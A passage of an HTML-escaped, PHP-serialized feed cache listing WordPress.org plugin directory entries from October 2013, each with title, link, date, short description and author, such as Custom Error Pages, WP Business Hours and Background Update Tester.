\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:18:\&quot;Custom Error Pages\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:59:\&quot;http://wordpress.org/plugins/custom-error-pages/#post-59882\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 26 Oct 2013 17:15:36 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59882@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:126:\&quot;Create custom 401 and 403 error pages with any WordPress theme without writing a single line of code, set it up and forget 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Replies\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:73:\&quot;http://wordpress.org/plugins/bbpress-auto-delete-spam-replies/#post-59972\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 29 Oct 2013 18:38:11 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59972@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:60:\&quot;Automatically delete bbPress spam replies older than X days.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Hudson Atwell\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:10;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:18:\&quot;Cream6 Admin Theme\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:59:\&quot;http://wordpress.org/plugins/cream6-admin-theme/#post-60133\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 01 Nov 2013 10:26:41 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;60133@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:77:\&quot;A user-friendly admin theme. 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Gravatars\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:59:\&quot;http://wordpress.org/plugins/m-retina-gravatars/#post-59948\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 28 Oct 2013 21:50:01 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+0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;60140@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:104:\&quot;This plugins shows the &amp;#039;Quote of the Day&amp;#039; or a &amp;#039;Random Quote&amp;#039; from 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Reviews\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:53:\&quot;http://wordpress.org/plugins/mage-reviews/#post-59936\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 28 Oct 2013 14:13:29 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59936@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:110:\&quot;A simple, 5 Star, rating option will be integrated within the comment form and rating average with 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+0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59706@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:81:\&quot;Curiyo links important words on a page to concise information from quality sites.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Curiyo\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:1;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:10:\&quot;strshuffle\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:51:\&quot;http://wordpress.org/plugins/strshuffle/#post-59656\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sun, 20 Oct 2013 14:54:26 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59656@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:70:\&quot;A simple shortcode to shuffle the chars in a string. (See str_shuffle)\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;max.doom\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:2;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:24:\&quot;Background Update Tester\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:65:\&quot;http://wordpress.org/plugins/background-update-tester/#post-59879\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 26 Oct 2013 16:40:59 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59879@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:142:\&quot;Most sites are able to apply updates in the background. Background Update Tester checks your site for compatibility and explains any problems.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;Andrew Nacin\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:3;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:23:\&quot;PMID Citation with Read\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:65:\&quot;http://wordpress.org/plugins/pmid-citations-with-read/#post-59665\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 21 Oct 2013 04:56:23 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59665@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:116:\&quot;This plugin allows you to add PubMed citations to wordpress sites with deep integration to the Read by QxMD service.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:4:\&quot;QxMD\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:4;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:17:\&quot;WP Business Hours\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:58:\&quot;http://wordpress.org/plugins/wp-business-hours/#post-59650\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sun, 20 Oct 2013 07:46:15 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59650@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:119:\&quot;This Plugin is to show Business hours, Admin can manage the business hours Weekly, can show using widget and shortcode.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:5:\&quot;Mejar\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:5;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;hearthis.at\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:51:\&quot;http://wordpress.org/plugins/hearthisat/#post-59701\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 22 Oct 2013 12:36:19 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;59701@http://wordpress.org/plugins/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:147:\&quot;The hearthis.at Shortcode plugin allows you to integrate a player widget from hearthis.at into your Wordpress Blog by using a Wordpress shortcodes.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;hearthis\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:6;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n			\n			\n			\n			\n			\n			\n					\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:16:\&quot;Timber Debug Bar\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:57:\&quot;http://wordpress.org/plugins/debug-bar-timber/#post-59691\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 22 Oct 2013 03:32:41 